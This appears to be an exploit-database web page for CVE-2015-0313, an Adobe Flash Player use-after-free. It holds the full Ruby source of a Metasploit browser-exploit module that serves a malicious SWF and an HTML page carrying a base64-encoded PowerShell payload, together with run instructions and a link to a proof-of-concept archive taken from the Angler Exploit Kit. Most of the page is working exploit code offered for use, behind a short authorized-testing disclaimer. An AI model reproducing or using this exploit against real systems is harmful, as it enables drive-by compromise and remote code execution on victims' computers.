Materialized exploit

CVE-2015-0313

CRITICAL

2 public exploit(s) for this CVE, 2 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB remote windows Verified

Source

Adobe Flash Player - ByteArray With Workers Use-After-Free (Metasploit)

By Metasploit

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

ruby 36579.rb

Code rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'                => 'Adobe Flash Player ByteArray With Workers Use After Free',
      'Description'         => %q{
        This module exploits an use after free vulnerability in Adobe Flash Player. The
        vulnerability occurs when the ByteArray assigned to the current ApplicationDomain
        is freed from an ActionScript worker, who can fill the memory and notify the main
        thread to corrupt the new contents. This module has been tested successfully on
        Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.296.
      },
      'License'             => MSF_LICENSE,
      'Author'              =>
        [
          'Unknown', # Vulnerability discovery and exploit in the wild
          'hdarwin', # Public exploit by @hdarwin89 (all the magic)
          'juan vazquez' # msf module
        ],
      'References'          =>
        [
          ['CVE', '2015-0313'],
          ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-02.html'],
          ['URL', 'http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/'],
          ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2015-0313-the-new-flash-player-zero-day/']
        ],
      'Payload'             =>
        {
          'DisableNops' => true
        },
      'Platform'            => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :os_name => OperatingSystems::Match::WINDOWS_7,
          :ua_name => Msf::HttpClients::IE,
          :flash   => lambda { |ver| ver =~ /^16\./ && ver == '16.0.0.296' },
          :arch    => ARCH_X86
        },
      'Targets'             =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'          => false,
      'DisclosureDate'      => 'Feb 02 2015',
      'DefaultTarget'       => 0))
  end

  def exploit
    @swf = create_swf
    super
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status('Sending SWF...')
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
      return
    end

    print_status('Sending HTML...')
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
  end

  def exploit_template(cli, target_info)
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    target_payload = get_payload(cli, target_info)
    psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
    b64_payload = Rex::Text.encode_base64(psh_payload)

    html_template = %Q|<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=<%=b64_payload%>" />
    <param name="Play" value="true" />
    <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
    </object>
    </body>
    </html>
    |

    return html_template, binding()
  end

  def create_swf
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0313', 'msf.swf')
    swf =  ::File.open(path, 'rb') { |f| swf = f.read }

    swf
  end

end

ExploitDB remote windows

Source

Adobe Flash Player - Arbitrary Code Execution

By SecurityObscurity

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

Code txt

Source: https://github.com/SecurityObscurity/cve-2015-0313

PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36491.zip

Adobe Flash vulnerability source code (cve-2015-0313) from Angler Exploit Kit

Reference:

http://blog.trendmicro.com/trendlabs-security-intelligence/trend-micro-discovers-new-adobe-flash-zero-day-exploit-used-in-malvertisements/
http://malware.dontneedcoffee.com/2015/02/cve-2015-0313-flash-up-to-1600296-and.html
https://helpx.adobe.com/security/products/flash-player/apsa15-02.html